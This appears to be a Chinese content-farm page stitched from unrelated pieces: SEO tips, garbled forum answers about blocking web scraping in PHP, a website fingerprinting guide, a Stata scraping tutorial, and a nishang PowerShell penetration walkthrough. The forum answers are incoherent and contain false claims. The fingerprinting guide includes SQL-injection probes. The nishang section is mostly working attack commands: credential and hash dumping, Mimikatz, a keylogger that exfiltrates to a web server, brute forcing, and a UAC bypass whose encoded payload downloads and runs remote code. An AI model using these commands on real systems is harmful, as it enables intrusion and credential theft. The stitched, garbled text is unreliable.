企业网站推广方案的策划企业网站推广可以选择哪些方法
　　我们都知道，网站建成后，如果你不想在百度推广或其他广告上花很多钱，SEO -是一个不错的选择。然而，很多SEO新手很容易犯一些低级错误，而且很多错误对网站有很大的影响。一旦出现问题，很难恢复，所以在做SEO之前必须注意这些问题。
　　必须在网站上线前配置TDK。有些文章应该尽可能被百度收录。
　　以前遇到过很多这样的情况。很多网站的内容没有在线配置，导致百度早期收录。因为新站点的权重很低，所以在收录后更改标题、关键字、描述等内容是非常危险的。再次提交TDK后，它将对 SEO产生很大的影响，内容也是一样的。许多测试项目需要删除。如果你把它们收录在内，就会有一条死链。因此，建议尽可能将所有应添加到网站的内容添加到互联网上。如果某些内容必须在线调试，建议将robots设置为禁止包含。调试后，您可以将其更改为允许包含，然后在站点管理员的后台更新机器人。
　　
　　这也是许多新手经常犯的错误。许多人不注意网址，导致许多网站过长或不规则。或者它只是一个PHP文件，后跟不同的参数以显示不同的内容，甚至是指向同一内容的几个不同链接。因为这样，百度蜘蛛也会被赋予权力。我不知道这个网站的结构是什么。当然，他们不会去任何地方。
　　许多SEOER不太关注服务器。事实上，这也是一种误解。因为如果百度蜘蛛在网站无法打开或打开速度太慢的情况下抓到我们的网站，百度在网站上的得分就会降低，这自然会影响排名。同样，网站的打开速度和稳定性也会影响客户体验，百度的排名是基于客户体验的。因此，我们需要经常通过百度站长工具的后台观察网站的爬行情况。如果我们发现爬网失败或爬网报告中存在其他错误消息，例如超时、无法连接和DNS错误，则我们不能出错。我们应该及时查看问题所在，然后根据问题进行检查并及时解决，避免问题影响百度抓取和客户体验。
　　这并不是说网站的标题和关键字在上线后不能更改。但是，我们在更改TDK时必须非常小心，因为更改网站的标题、关键字和描述会影响搜索引擎对网站的信任。如果信任度降低，排名将受到影响。TDK不得频繁更改。只有业务需求不应该改变。为了参考SEO老手的经验，更改网站的TDK，并且在更改后，内容更新必须跟上，以避免对网站产生更大的影响。
　　
　　未注意到内容更新的频率，或更新的内容与网站无关
　　我们必须不断更新，内容与网站的主题相关。我们应该关注内容的质量，以提高用户的客户体验和百度在网站上的得分。
　　百度官方已经发布了关于外链的相关信息，这减少了外链对网站的影响，但它仍然有影响力。即使对排名没有影响，外链也会增加网站的流量和百度蜘蛛的抓取次数。但是，SEOer在发送外链时必须注意外链的质量。在我们看来，低质量的外链也不如没有好，因为如果百度清理了大量的外链垃圾，会影响网站的排名和权重，所以外链更精致而不是更多。
　　SEOER应该实现一个概念，不是为了优化，而是为了客户体验。归根结底，百度排名算法与客户体验有关。在做SEO时，相关性通常并没有问题。因此，SEO应该从用户体验入手，做用户体验。排名自然会提高。
　　没流量、没客户、没订单？ 查看全部

　　php禁止网页抓取，你应该是没有在thephplibrary里写入include'xxx.php
　　php禁止网页抓取，你应该是没有在thephplibrary里写入include'xxx.php'或者include'xxx.conf'(你不会喜欢这样的写法的话，可以改用注释写法来让php解析你自己的代码，然后capturethexxx.conf)。thephplibrary(自行用sed或者grep查看sed的帮助)还是不让网页抓取的话，你应该搜索如何在iis中使用thephplibraryisofficiallyontheiisframework.你可以看一下thelibrary'srules如果你的网站没有因为flash而改变它默认的iis代理地址的话，用thephplibrary吧:p。
　　
　　打开浏览器控制台用iis试试
　　这样子就不适合用flash了！做一个php扩展，屏蔽各种php向浏览器进行的二进制通信，即只支持http通信。然后，解决全局的通信问题。再之后，解决全局特性上的问题。最后，解决iis浏览器间的通信问题。
　　
　　php本身就不是给网页用的，而是用于服务器运行，作为unix/linux系统的脚本语言。很显然tp是不兼容所有iis的浏览器的，除非你找个php代理。
　　chinaz不也写了一个端口的屏蔽么,不能说它不合规范,但这是违法的呀,还有很多的支持php内置全局局域网iis的软件可以自己写实现,然后定义好tpl就行了,楼主你不会不用百度一下么 查看全部

　　php禁止网页抓取是被禁止的，要知道通过http来请求页面
　　php禁止网页抓取是被禁止的，要知道通过http来请求页面是要向服务器发送一定的资源，那么服务器获取你要请求的资源，将这个信息加载到页面空间里，即我们所说的页面抓取，当然从客户端的前端抓取更好。像你说的前端怎么请求你的代码，抓取数据，其实最终浏览器还是获取请求所发送的资源，可能有一些表单，可能有一些json数据，然后发送给你的后端或者是mysql数据库来存储，说句比较实在的话，php只是用它来替代你前端调用浏览器获取请求而已，仅此而已，不是做什么前端无法获取数据。
　　
　　其实是基本的前端引擎能力不够的体现，浏览器调用前端request能力有问题，所以你会看到，前端不能前后端交互，
　　php禁止的应该是前端请求数据的话那么后端必须去开一个api，也就是后端模版引擎，
　　
　　php做页面的控制逻辑显然不是node.js的长项，推荐使用nginx的access功能做静态连接的维护，
　　php肯定不能调用httpapi。php提供access功能，所以你的数据是客户端请求httpserver，服务器access接收数据。要了解php，自学完php基础语法后，
　　根据php自己提供的access功能做静态连接。一般服务器程序会根据access进行数据连接。另外上面那个回答很详细， 查看全部

　　php禁止网页抓取很正常，答案其实是php给你的
　　php禁止网页抓取很正常，
　　
　　答案其实是php给你的。php无法抓取某一行，只能抓取这一行的每一个元素。你以为你的请求在调用api，其实api只是把调用传递给php，让php实现api。另外，php并不清楚你的请求什么意思，可能认为你的意思是要推送什么数据给客户端。
　　就知道一个header加上：gzipreload权限启用accept-encoding'utf-8'/accept-language'zh-cn'
　　
　　第一次接触php，建议你看一下上面一个哥们的答案。至于抓取你想要的数据，最简单的方法应该是用正则表达式替换。当然如果数据量太大可以用sed命令。最近接触了一个有趣的框架，推荐给你试一下。
　　@伯扬引用的方法是正确的php开发一个容易爬取的网站并不容易（只考虑熟悉php的人来说）。即使是使用浏览器抓取页面并不难，难的是开发一个爬虫以获取数据所有的元素，并通过适当的方式反馈给服务器和浏览器。本质上还是用户和服务器的博弈。另外这类网站是否有必要推送数据？比如excel、sql？个人觉得，如果要推送数据，应该是获取的页面有经常推送的用户，比如像卖酒的。
　　假设我抓取了网上所有的酒类广告，这个网站也许就会从千万级爆发式增长中清理掉一批流量，减少用户对这个网站的依赖。 查看全部

　　php禁止网页抓取正确的姿势是强制使用javascript动态拦截内容
　　php禁止网页抓取正确的姿势是强制使用javascript动态拦截内容。因为cookie无法及时保存，不能及时收到通知，建议采用有效的协议保存，比如last-modified类，既然tomcat默认使用的http协议，那么应该考虑使用iframe的形式实现更高效的get/post请求。php5已经能处理iframe格式内容了。
　　说实话这些技术没必要学，你根本用不到，按自己的需求，自己喜欢的去学就行，多去参加培训班，有点基础理论加实践，完全没必要花这么多钱去学这些东西，这些实践性的东西只有你参加过培训以后，
　　
　　教程没用css教程，你用用看就好了、其他例如：phper程序员笔记php，
　　补充下上边那个，直接看一个视频就行。比如freecodecamp，比如鸟哥laravel，不用大家推荐，你自己根据需要找下。
　　php能抓取页面内容说明他们做过这个页面，然后他们拿去了后端服务器，这样就解决了web抓取的问题。其实可以通过js动态写解析器来解析，但是这个成本很高。
　　
　　php网页爬虫-李东铭的文章-知乎专栏他们不用后端，是用schema做绑定的。
　　学历史。
　　学习动态网页再找到你满意的工作
　　想要针对php爬虫的文章，必须具备一定基础，1.熟悉php的知识，建议先看一下《php编程规范》，2.有兴趣也可以看一下《深入浅出web开发》3.动态性的知识，这就需要你对http的基本知识有了解，我推荐你去看《http权威指南》，phphttp协议的知识相对很容易懂，当然这样的只是针对api。在你看好知识后最好要了解一下http相关知识，具体你可以参考动态爬虫系列文章php爬虫/爬虫入门学习文章/http爬虫学习书籍/php爬虫学习视频教程等都会有非常详细的指导。 查看全部

　　php禁止网页抓取的基本上是不可能的，想想
　　php禁止网页抓取基本上是不可能的，想想，一个项目时间久了，什么人都可能上，还有前端可能，
　　php当中不支持类似fiddler这样抓包软件，如果网页编程有问题，你要不然就找个轮子，要不然就手动操作。把php给禁止了，
　　
　　实现不了。php禁止网页抓取，从技术上来说，php是不支持网页抓取的，因为如果要抓取网页，就必须有蜘蛛在后面干活。那用php做pc端的页面抓取，前端用javascript就能在前面干活了，也不需要把php禁止了。
　　一般来说禁止网页抓取需要修改php的设置，如果是php多线程的话，你可以尝试1、2、3等，不过会改动很大，而且抓取效率低。禁止网页抓取主要是为了某些网站爬虫调度网页上的各种元素，然后放在数据库中放着，有相应线程去抓取。
　　
　　即使禁止，php在功能上也有一定的局限性，所以我觉得不会，就算禁止可能也是禁止一些url的抓取。
　　有个库，叫phpvs，可以禁止文件的抓取，但是你需要模拟才行。
　　1.有些请求接收，本身不在php能做的范围内。2.需要付费。我同事做的php3.2+,检测网络抓取是通过fiddler检测抓取返回的地址，再通过phpviewer抓取到，数据实时更新到nginx+flash。3.要么你修改php文件，要么修改请求代理。 查看全部

　　php禁止网页抓取与php全站留言板没什么必然联系
　　php禁止网页抓取与php全站留言板没什么必然联系。一般的php全站留言板其实没有多大意义，能用浏览器访问就能用。至于php的意义我更倾向于作为一个全新的语言标准存在。
　　
　　（当然不仅仅限于网页）php在现实中是很有用的。比如将大量的时间浪费在恶意软件上，或者为盗取数据上存在很大的收益。其实php挺像“电子游戏机语言”，起初当pc游戏机被认识，其他主流“电子游戏机语言”就像有了新爸爸。对游戏开发很重要，对玩家更重要。另外，当时的php还不像今天这么成熟。尤其是wordpress一类自建网站，都是用php开发，而且主要的就是用于做博客或者小型公司内网站。
　　目前，很多公司都在全面转向使用go语言，也就是原先php那套东西。开发方面呢，同样也在转向用go，有待发展中。php作为程序员的第一门编程语言，多少也有些地位。国内是因为“09年互联网寒冬”。当年，有些从一开始就生长在php基因中的一代，就被淘汰了。例如eclipse，为什么eclipse能那么成功？其实不光是因为使用了markdown，还是因为其底层是php。
　　
　　比如最初用eclipse做了收费的程序书，那个时候，这就是php的地位。人们也把eclipse当成下一代的java。哈哈...。
　　是还没成熟啊。还有广大用户是因为上大学没老师教，自己瞎捣鼓。 查看全部

　　php禁止网页抓取 指纹识别大全
　　Windows操作系统不区分大小写，Linux系统大小写敏感，用此方法能够判断是Windows还是Linux系统。•ping
　　判断是Linux还是Windows最简单就是通过ping来探测，Windows的TTL值都是一般是128，Linux则是64。所以大于100的肯定是Windows，而几十的肯定是Linux。
　　但是，通过TTL值来判断服务器类型也不是百分之百准确的，有些windows服务器的TTL值也是几十，而且有的服务器禁止ping。
　　脚本类型
　　我们需要知道网站用的脚本类型：php 、Jsp 、Asp 、Aspx 、html。
　　为什么要进行脚本类型探测？
　　•网站会进行伪装，要么没有后缀，要么就是伪静态。•有些站点会修改解析后缀，比如：本来是PHP的站点，可以修改文件把asp后缀当作php解析。
　　探测脚本类型：1.如果不是静态或者伪静态 则多点开几个界面，可以看到脚本后缀。2.最简单的方法，在域名后面分别加个 /index.asp /index.aspx /index.php /index.jsp 不报错则是网站支持的脚本语言 原理：大部分网站根目录都会放个index首页文件，这是最快速最简单的方式。3.F12审查元素，在返回头一般都能看到网站脚本。4.网站的 robots.txt site.xml 这些文件很可能会有暴露网站的语言 这个直接就访问，robots.txt 等等就可以，存在的话网站脚本一目了然。5.在网站任意界面直接查看源码，搜索asp或aspx或php或jsp 很多伪静态的站，都可以用这种方法。他会调用一些动态脚本，在源码会看到。6.用google搜索 site:xxx filetype:php site:目标站域名 inurl:脚本语言类型 如果收录不是很少，一般都能看出来。7.抓取数据包，分析cookie或session名称，有可能有脚本前缀 比如：php的站点， session名称是 phpsesssion.
　　物理路径
　　参考：
　　敏感文件、目录
　　参考：
　　数据库
　　我们需要知道网站用的是哪种类型的数据库：Mysql、Oracle、SqlServer 还是 Access 。
　　虽然这几种数据库的语法大体上相同，但是还是有区别的。
　　
　　所以我们还是要知道目标网站用的是哪种数据库，并且数据库是哪个版本的。
　　几种数据库的区别：
　　•Access 全名是Microsoft Office Access，是由微软发布的关联式数据库管理系统。小型数据库，当数据库达到100M左右的时候性能就会下降。
　　数据库后缀名：.mdb 一般是asp的网页文件用access数据库•SQL Server是由Microsoft开发和推广的关系数据库管理系统（DBMS），是一个比较大型的数据库。
　　端口号为1433。数据库后缀名 .mdf•MySQL 是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。
　　MySQL是最流行的关系型数据库管理系统，在 WEB 应用方面MySQL是最好的应用软件之一，MySQL数据库大部分是php的页面。默认端口是3306•Oracle又名Oracle RDBMS，或简称Oracle。
　　是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521
　　首先，成本上的差距，access是不要钱的，mysql也是开源的，sql server 是收费的一般也就几千，Oracle的费用则数万。
　　其次，处理能力，access支持千以内的访问量，sql server支持几千到上万的访问，而Oracle则支持海量的访问。
　　再次，从数据库的规模来看，access是小型数据库，mysql 是中小型数据库，sql server是中型数据库，Oracle是大型数据库。
　　判断网站搭建数据库的方法：
　　•【根据脚本语言判断】
　　如果语言为asp,基本就是access数据库 aspx可能是mssql很少是access jsp的站oracle居多 php一般为mysql (也有可能是其他数据库)•【根据报错判断】
　　在参数后面使网站报错也可能会给出数据库报错信息，报错方法很多，可以修改参数为不存在的参数，比如9999999 也可以用特殊符号，等等。•【根据数据库特性判断】
　　存在注入时 在参数后面加上 and len('a')=1 如果返回正常，一般数据库为mssql或mysql，大站的话可能是db2，界面返回错误的话，数据库基本是oracle
　　在参数后面加上 ;and (select count(*) from sysobjects)>0 如果返回正常那就是mssql数据库，如果不正常那就不是mssql(sql server)•【根据端口判断】
　　
　　这个很简单，其实你扫一下端口，就知道是什么数据库了。
　　1433对应mssql数据库 3306对应mysql数据库。1521对应oracle数据库
　　如果端口被更改，可以逐一用 xx.xx.xx.xx:: 尝试访问端口，如果是数据库端口，会返回对应的无法连接数据库的英文 。不是数据库，服务器会一直载入或者找不到界面。
　　中间件
　　知道了这些信息之后，我们就需要知道网站用的web服务器是什么类型的：Apache、Nginx、Tomcat 还是 IIS。
　　知道了web服务器是哪种类型后，我们还要探测web服务器具体的版本。
　　比如Ngnix版本CMS
　　CMS又称整站系统。
　　常见的CMS有：WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
　　CMS指纹识别又有很多方法，比如说御剑指纹识别、Webrobot工具、whatweb工具、还有在线查询的网站等等。
　　CMS在线指纹识别：
　　WAF
　　Waf也叫Web应用防火墙，是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
　　常用的两种方式：
　　（1）手工（提交恶意数据，简单粗暴）
　　（2）Kaili工具（WAFW00F、Nmap）
　　•Nmap探测WAF有两种脚本 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　
　　 查看全部

　　powershell 渗透框架[ nishang ]
　　
　　0x01 前言
　　注意,powershell只能针对win7以后的系统使用,此之前的win系统是没有引入powershell的,powershell是什么这里就不废话了,大家请自行谷歌,在使用各种powrshell脚本过程中,系统权限自然也是越高越好,权限越大你能在系统中操作的范围就越广,至于为什么要选择powershell,想必大家早已心知肚明,免杀,可直接跟系统api交互,容易定制,轻量,远程加载执行,对目标系统的影响极小……好处众多,这里就不多啰嗦了,说破天,我们最终的目的还是希望能在实际渗透中把它用起来,不然,实际价值何在呢
　　0x02 关于nishang
　　今天我们就先来看看第一款powershell渗透框架其实,个人觉得把它称为powershell渗透框架似乎更合适些,nishang[想必现在早已家喻户晓],关于nishang中的各个ps脚本的选项用法,在其脚本代码的最前面都有详细说明,使用前请务必仔细阅读,因为系统默认是禁止执行ps脚本的,所以实际用的时候后面都会带上bypass选项
　　Set-ExecutionPolicy Unrestricted 如果你得到的是一个交互式的ps shell,也可以用该命令来放开脚本执行限制
　　# powershell –exec bypass –Command "Get-Host | Select-Object Version" 查看当前powershell版本,有些脚本只能在指定的powershell版本中执行
　　0x03 首先,所有内网渗透的第一步,信息搜集[Gather]
　　检查当前机器是否为虚拟机:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Check-VM.ps1';Check-VM}"
　　
　　搜集当前机器的各种敏感信息,包括如下
　　1、当前系统中所登陆过的用户
　　2、putty连接过的内网的linux机器,保存的ssh会话以及最近使用过的命令
　　3、当前机器所开启的共享
　　4、系统环境变量配置
　　5、系统平台及操作系统位数
　　6、当前系统的用户及组信息
　　7、识别snmp默认团体字符串
　　8、系统中所安装的软件
　　9、机器所处的域
　　10、hosts文件内容,一般这个可用来发现内网中的其它机器
　　11、正在运行的服务
　　12、本机的账号密码策略
　　13 、无线网卡信息
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-Information.ps1';Get-Information | Out-File info.txt}"
　　
　　利用卷影拷贝服务[Volume Shadow Copy Service]转储本地的sam文件,如果是在域控上操作,它则会把ntds.dit和system.hiv一并导出来,如下图,ntds.dit文件默认位置是C:\Windows\system32\ntds.dit,如果ntds.dit不是在默认路径下,则要用-ntdsSource选项指明ntds.dit的位置,注意转储到的目录一定要能写,如果是域内用户比较少还好,用户量比较大的情况还是最好不要这种方式来导,之后从文件中把用户hash提取出来即可
　　这里我直接让它放到C盘根下,实际中你可以指定你自己想存放的位置
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Copy-VSS.ps1';Copy-VSS -DestinationDir c:\}"
　　
　　扫描同内网中指定机器所开放的端口,它会根据你所给的端口一个个的遍历,速度可能会有点儿慢[似乎有点儿在逐个 telnet 的感觉]:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\FireBuster.ps1';FireBuster 192.168.3.13 20-110 -Verbose}"
　　
　　做出口测试用的,说实话,我真没想到它的具体利用场景
　　C:\>powershell -exec bypass
　　PS C:\> Import-Module C:\nishang\Gather\FireListener.ps1
　　PS C:\> FireListener -portrange 80-83
　　
　　从HKLM中提取lsa证书秘钥,说白点儿就是里面存了各种账号密码,注意可能需要system权限且powershell要在32位模式下运行,实际测试测试中,貌似光有管理权限还不够[没成功],不过类似的功能我们在实际渗透中我们完全可以用别的工具替代不用在这儿太过纠结:
　　#C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-LSASecret.ps1';Enable-DuplicateToken;Get-LSASecret}"
　　抓取本地用户的密码hash,注意权限务必要够,另外,记得要把你的cmd调宽一点,不然可能看不到完整结果,不过hash貌似又不对:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}"
　　
　　获取本地用户的密码提示:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-PassHints.ps1';Get-PassHints}"
　　
　　从windows Vault[其实就是各类证书管理器,具体作用请自行谷歌]中获取各种web密码,该脚本要求在powershell 3.0(也就是win8以后的系统)以上执行,还是那句话,权限必须要够,比较遗憾,本地实际测试中并未成功读出来:
　　# Powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WebCredentials.ps1';Get-WebCredentials}"
　　
　　抓取当前机器的无线密码前提是当前系统中要有正在使用的无线网卡才行,不过,这种方式对个人机来说还是挺有用价值的:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Get-WLAN-Keys.ps1';Get-WLAN-Keys}"
　　简单的一些钓鱼模块,脚本执行以后它会一直弹出输入框,直到用户输入了正确的系统账号密码它才会自动退出,最后会把刚刚用户输入的账号密码显示出来,当然啦,你一样可以把它直接存到文件中,为了给大家看的更直观些,就直接把它打印出来了
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-CredentialsPhish.ps1';Invoke-CredentialsPhish}"
　　
　　powershell版的mimiktaz,关于mimikatz的用法,相必大家都早已非常熟练,这里就不废话了:
　　# reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 2012加上这个还是有点儿问题
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikatz.ps1';Invoke-Mimikatz -Command 'privilege::debug sekurlsa::wdigest exit'}" 执行自定义mimikatz内置指令
　　强制登出系统中当前正处于登陆状态的用户,然后截获其再次登陆时的明文密码,有点儿劫持winlogon.exe进程的意思,但实际中多次折腾都并未成功,如果有谁成功了,麻烦也告诉本人一声,好知道到底是哪里出了问题,我比较懒,抽空容我再看看代码:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade}" 强制锁定系统,然后强迫用户重新登陆
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Get-Job | Receive-Job}"
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-MimikatzWDigestDowngrade.ps1';Invoke-MimikatzWDigestDowngrade -RDP}"
　　利用ReadProcessMemory()函数从内存中提取敏感数据,主要用来抓取内存中的各种网站登陆密码,实际测试过程中有时会卡死,拖慢系统,最重要的是,并没有抓到什么有价值的东西:
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-Mimikittenz.ps1';Invoke-mimikittenz}"
　　利用无线的ssid提取用户凭据,看作者介绍似乎非常实用[可能境外特殊的环境所致吧],原理暂时还没弄太明白,正在仔细学习中,后续会把模块单独拿出来说明
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Gather\Invoke-SSIDExfil.ps1';Invoke-SSIDExfil}"
　　键盘记录,实际测试中还有些问题,正在看……
　　PS C:\nishang\Gather> .\Keylogger.ps1 -CheckURL ://192.168.3.23/drupal-7.54 -MagicString pass 检查所给的网页中是否包含自己所给的关键字[admin],如果有就停止记录,记录会被保存在当前用户的temp目录下的key.log文件中,
　　PS > .\Keylogger.ps1 -CheckURL ://192.168.3.23/drupal-7.54 -MagicString pass -exfil -ExfilOption WebServer -URL 直接把记录结果发到远程服务器,用POST接收下即可
　　PS > .\Keylogger.ps1 -persist 持续记录
　　PS C:\nishang\Gather> Parse_Keys .\key.log .\plains.txt 就可以还原记录内容了
　　0x04 内网端口扫描及服务爆破[scan][目前只支持mssql,ftp,web,activedirectory爆破]
　　首先,来看端口扫描,可以直接把要扫的端口都事先写在代码里面,不用非要手工指定,麻烦,又显示不全[还是记得把cmd调宽一些然后存到文件中会好点],实际中也并不建议一下子扫很多,比如你想找sa,只需要指定1433即可,搞定了以后把hash抓一下,也许这事儿就成了,没必要一直扫,还容易触发报警
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-PortScan.ps1';Invoke-PortScan -StartAddress 192.168.3.1 -EndAddress 192.168.3.150 -ScanPort -port 21,22,443,445,3306,3389,1433}"
　　
　　服务爆破,目前貌似只支持mssql,ftp,域[ActiveDirectory]和web
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service SQL -Verbose}" 爆破mssql的sa
　　
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service FTP -Verbose}" 爆破ftp
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Scan\Invoke-BruteForce.ps1';Invoke-BruteForce -ComputerName 2008R2DC -UserList C:\user.txt -PasswordList C:\pass.txt -Service ActiveDirectory -Verbose}" 爆破域内指定账户密码
　　
　　0x05 提权相关[Escalation]
　　窃取令牌
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Enable-DuplicateToken.ps1';Enable-DuplicateToken}"
　　尝试bypassUAC,并弹回一个高权限的meterpreter的shell[dll可自定义],可指定不同的bypass方法,更多方法请自行参考脚本说明,这里的payload我是直接用msf生成的,为了避免单双引号的问题,记得把它编码下,实际测试中貌似并没有成功,是我编码的问题吗
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Invoke-PsUACme.ps1';Invoke-PsUACme -method oobe -Payload 'powershell -windowstyle hidden -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAHcALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB3AC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsASQBFAFgAIAAkAHcALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMALgA2ADoAOAAwADgAMAAvAGMAaAAxAFEAVgBEAGU